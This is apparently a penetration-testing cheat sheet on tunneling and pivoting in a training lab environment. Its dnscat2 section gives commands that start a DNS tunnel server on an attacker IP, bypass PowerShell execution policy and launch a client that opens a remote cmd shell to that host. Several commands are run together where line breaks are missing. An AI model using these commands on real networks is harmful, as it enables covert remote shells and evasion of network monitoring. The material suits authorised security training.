Branching Out Our Tunnels
DNS Tunneling with Dnscat2
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
sudo gem install bundler
sudo bundle installsudo ruby dnscat2.rb --dns host=<attackerIP>,port=53,domain=inlanefreight.local --no-cachegit clone https://github.com/lukebaggett/dnscat2-powershell.gitSet-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass
Import-Module .\dnscat2.ps1Start-Dnscat2 -DNSserver <attackerIP> -Domain inlanefreight.local -PreSharedSecret 0ec04a91cd1e963f8c03ca499d589d21 -Exec cmdSOCKS5 Tunneling with Chisel
Setting Up & Using Chisel
Chisel Reverse Pivot
Older versions of pre-compiled Chisel (in case you need old libc)
ICMP Tunneling with SOCKS
Setting Up & Using ptunnel-ng
Hans
Last updated